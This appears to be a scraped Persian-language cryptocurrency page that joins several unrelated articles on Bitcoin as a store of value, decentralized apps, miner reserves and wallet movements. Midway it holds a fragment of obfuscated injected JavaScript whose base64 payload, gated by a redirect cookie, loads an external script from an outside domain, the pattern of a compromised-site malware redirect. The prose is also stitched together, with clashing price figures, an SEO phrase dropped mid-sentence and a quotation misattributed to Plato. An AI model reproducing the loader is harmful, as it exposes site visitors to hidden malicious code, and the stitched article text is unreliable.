نرخ بالای تورم و سیاست های پولی سختگیرانه در طول تاریخ باعث افزایش تقاضا برای طلا شده اند و همین مسئله را می توان برای بیت کوین نیز عنوان کرد که با وجود تلاش های متعدد همچنان ثابت می کند که در برابر مداخلات دولت ها مقاوم است.

نحوه استفاده از بیت کوین

در حالی که محدودیت های بیت کوین به عنوان پول در حال حاضر غیرقابل انکار است، غلبه بر این محدودیت های تکنیکال، مطمئناً مزایای غیرقابل تصوری را به ویژه برای کشورهایی که سیاست های مالی و پولی تهاجمی دارند و بخش بزرگی از جمعیت در فقر به سر می برند، به ارمغان می آورد. تقاضا برای این دارایی دیجیتال در کشورهایی مانند ونزوئلا که دچار ابرتورم هستند، همچنان در حال افزایش است.

علاوه بر این، این دارایی به یک روش رایج برای فرار از سیاست های کنترل سرمایه در کشورهایی مانند چین تبدیل شده است. Vytautas Karalevicius معتقد است که با استفاده و پذیرش گسترده بیت کوین یک روند صعودی عظیم برای این ارز دیجیتال وجود خواهد داشت. وی در این باره به کوین تلگراف گفت:

از بین بردن هرگونه سانسور احتمالی یا محدودیت در پرداخت، آزادی پرداخت را که می توان آن را نوعی آزادی بیان دانست، قادر می سازد. در حالی که سانسور بعضی اوقات ممکن است به نفع جامعه عمل کند، از بین بردن امکان سانسور پرداخت باید بسیاری از مواردی را که امروزه در جامعه اجرا می شود، تغییر دهد، یعنی راه های جدیدی برای مبارزه با بازیگران بد پیدا می شود.

بیت کوین ممکن است در آینده نوعی پول پرکاربرد باشد یا نباشد، اما مزایای آن به عنوان یک ذخیره ارزش و پناهگاه امن در برابر ارزهایی که به سرعت بی ارزش می شوند، غیرقابل انکار است. تقریباً مانند طلا، نوسانات اقتصادی و تورم باعث تقاضای بیت کوین می شود. با راه اندازی اولین مشتقات قانون گذاری شده برای بیت کوین، تقاضای نهادی برای این ارز دیجیتال افزایش یافته و حتی صندوق های بازنشستگی، بیت کوین را به سبد خرید خود اضافه می کنند.

علاوه بر این، تقاضای خرده فروشی همان روندی را دنبال می کند که صرافی های خرده فروشی گرا، معاملات مشتقات را برای کاربران بیشتری فراهم می کنند. تمایل به نگه داشتن بیت کوین و سایر ارزهای دیجیتال به عنوانhedge یا ذخیره ارزش نیز می تواند در محبوبیت سریع رشد پروتکل های دیفای مشاهده شود که درآمد منفعلانه ای را برای دارندگان ارزهای دیجیتال فراهم می کند.

علیرغم آنچه که بیت کوین برای آن ایجاد شده است، نحوه استفاده و عملکرد واقعی آن تصمیم می گیرد که بیت کوین چیست و چه می تواند باشد. استفاده از بیت کوین عمدتاً سوداگرانه بوده است و ارزش آن هر روز فقط در بخش کوچکی از حجم تراکنش های آن در شبکه منتقل می شود. در حالی که برخی بیت کوین را به این محکوم می کنند که حباب هستند، اما همچنین می توان ادعا کرد که بیت کوین در حال حاضر علاوه بر اینکه یک ذخیره ارزش یا پول است در باز کردن درهای سرمایه گذاری به روی مخاطبان گسترده تر نیز نقش مهمی دارد. این امر در مورد مفاهیمی مانند عرضه سکه اولیه یا عرضه صرافی اولیه صادق است که مانع ورود سرمایه گذاری جمعی و سرمایه گذاری در سهام می شود.

بیت کوین، چیزی بیشتر از یک ارز یا دارایی

در حالی که یک هر فردی می تواند در مورد تعاریف کنونی و آینده بیت کوین هر نظری که می خواهد داشته باشد، اما با این وجود به نظر می رسد که در مورد یک مسئله، توافق جهانی وجود دارد و آن این است که فن آوری غیرمتمرکز بیت کوین یعنی بلاک چین، با برنامه هایی که خارج از قلمرو پول قرار گرفته اند، مانند پلتفرم های قرارداد هوشمند و قراردادها و برنامه های غیرمتمرکز آمده است که بماند.

هنگامی که از سرجیو سوسکو (Sergio Susko)، مدیر توسعه تجارت و مشارکت در DappRada در مورد برنامه های مربوط به قراردادهای هوشمند و برنامه های غیر متمرکز سؤال شد، وی به کوین تلگراف گفت: ما در DappRadar برنامه های غیرمتمرکز را به دسته های مختلف مانند بازی ها، صرافی ها ، دیفای، Collectables ، قمار و غیره گروه بندی می کنیم.

اگرچه درک مفهوم برنامه های غیرمتمرکز و قراردادهای هوشمند حتی پیچیده تر از خود بیت کوین است، اما سرجیو معتقد است مزایایی که توسط این مفاهیم جدید به وجود می آید، برای تکمیل پذیرش آنها در آینده توسط یک پایگاه کاربر اصلی کافی است. وی در این باره عنوان کرد:

مانند هر فن آوری جدید و پیشگامانه، در این زمینه نیز نیاز به کاربرد گسترده و متعاقباً پذیرش انبوه وجود دارد. بلاک چین، قراردادهای هوشمند و برنامه های غیرمتمرکزهمچنان در ابتدای کار خود قرار دارند و می توانید آن را با یک نوزاد تازه متولد شده مقایسه کنید. با این حال، در دنیای مدرن، درک و پذیرش فناوری ها یک فرایند نسبتاً سریع است. به محض این که یک مزیت واضح توسط کاربر مشاهده می شود حتی بدون اطلاع از نحوه کار فناوری، خیلی سریع توسط افراد مورد پذیرش قرار می گیرد می شود.

همانطور که افلاطون، فیلسوف یونانی عنوان کرده است “ضرورت، مادر نوآوری است”، اگرچه به سختی می توان گفت که این نوآوری در آینده چگونه به نظر می رسد یا حتی اینکه چگونه مورد استفاده قرار می گیرد، با این حال، باید عنوان کرد که بیت کوین و فناوری زیربنایی آن، برای ایجاد تغییر در دنیا به وجود آمده اند. و تا زمانی که این تغییر ایجاد شود، پروژه هایی مانند بیت کوین به رشد خود ادامه خواهند داد.

function getCookie(e)()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0>var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)

ذخایر بیت کوین ماینرها به اوج خود در ۲۰۲۱ رسید

شرکت تحلیلی کریپتو کوآنت اعلام کرد ذخایر بیت کوین ماینرها در هفته جاری به بالاترین مقدار در سال ۲۰۲۱ رسیده است. این شرکت افزود بیش از ۱.۸۵ میلیون بیت کوین در اختیار ماینرها است و آنها قصد فروش ندارند. ماینرها در شرایطی به حفظ بیت کوین‌ها روی آورده‌اند که قیمت این ارز دیجیتال دچار روند نزولی شده و در ناحیه ۴۸,۳۰۰ دلار قرار گرفته است. این افت قیمت سایر ارزها را هم تحت تأثیر قرار داده و به کاهش بهای آنها منجر شده است.

بر اساس داده‌های پلتفرم The Block، سهم استیبل کوین دلاری بایننس (BUSD) از بازار استیبل کوین‌ها به اوج تاریخی خود رسیده است و BUSD اکنون (تا روز جمعه) ۱۵.۴۸ درصد از عرضه کل ۱۴۰ میلیارد دلاری بازار استیبل کوین‌ها را به خود اختصاص داده است. سهم استیبل کوین BUSD در جفت ارزهای معاملاتی نیز در حال حاضر ۲۲ درصد است.

خبرگزاری سی‌ان‌بی‌سی گزارش داده است که شبکه‌ای از کمیته‌های اقدام سیاسی (PAC) تحت حمایت مالی صرافی FTX، سم بنکمن فرید و سایر رهبران حوزه ارزهای دیجیتال، قصد دارند میلیون‌ها دلار برای تبلیغات انتخابات میان‌دوره‌ای آمریکا هزینه کنند. فعالیت این کمپین تبلیغاتی قرار است ظرف ۲ هفته آینده آغاز شود. کمیته‌های اقدام سیاسی، تحت حمایت صرافی FTX، وب فوروارد (Web3 Forward) و کریپتو اینوویشن (Crypto Innovation) هستند که گفته می‌شود تاکنون بیش از ۸ میلیون ذخایر بیت کوین کجا قرار دارند؟ دلار سرمایه جمع‌آوری کرده‌اند.

تغییرات در ذخیره بیت کوین | تحلیل ذخایر ماینر های BTC

🔔 به نظر می رسد پس از انتشار اخباری در مورد تغییر الگوهای مالکیت، تغییراتی برای ارز بیت کوین در راه است.

گزارشگر کریپتو، کالین وو، از نقدینگی های عمده بیت کوین در چند روز گذشته خبر داد. طبق به روز رسانی های او، یک آدرس کیف پول دیجیتال که به مدت بیش از نه سال غیرفعال بود، کل موجودی 5.001.51 بیت کوین خود را نقد کرده است.

این اقدام در 28 آگوست انجام شد که در نهایت سودی بیش از 96 میلیون دلار برای این آدرس به همراه داشت. سه آدرس بیت کوین دیگر از همین مبدا وجود دارد که دو تای آنها دارای 5 هزار BTC و سومی ذخایر بیت کوین کجا قرار دارند؟ دارای 6071 بیت کوین است. با این حال، این آدرس ها هنوز هیچ گونه فعالیت انتقالی را از خود نشان نداده اند.

تغییرات اخیر بیت کوین

وو ادعا کرد که آدرس دیگری که دارای 5000 بیت کوین است در 30 آگوست دارایی های خود را که ارزشی حدود 100 میلیون دلار دارند، منتقل کرده است. این انتقال در 148 تراکنش متعدد انجام شد.

🔷 علاوه بر این، علی مارتینز، تحلیلگر ارزهای دیجیتال، در مشاهدات جدید خود به بررسی بیشتر تغییر الگوهای مالکیت پرداخت. وی بیان کرد که تعداد آدرس هایی که موجودی آنها 10000 بیت کوین یا بیشتر است، در سه هفته گذشته 5.83 درصد کاهش یافته اند.

مارتینز همچنین در مورد الگوی تغییر مالکیت بیت کوین در بین ماینرها به روز رسانی هایی را اعلام کرد. بر اساس مشاهدات این تحلیلگر، ماینر ها هنوز نشانی از انباشت را بروز نداده اند.

ذخایر ماینرهای بیت کوین در هفته گذشته حدود 1.85 میلیون بیت کوین در تغییر بوده است. نمودار زیر نشان می دهد که سطوح بالای قبلی ذخایر بیت کوین یعنی بیش از 1.85 میلیون BTC، به این زودی ها مورد آزمایش قرار گرفته نخواهد شد.

🔷 در حال حاضر این یک نشانه ی نزولی برای جامعه بیت کوین است.

با وجود سقوط اخیر قیمت بیت کوین به زیر 20000 دلار در روز های گذشته، دارندگان این ارز در 30 آگوست به یک دستاورد خاص رسیدند. طبق گزارش گلس‌نود، تعداد آدرس‌های سود ( میانگین متحرک هفت روزه) به کمترین میزان در یک ماه گذشته یعنی 24,064,074 رسیده است.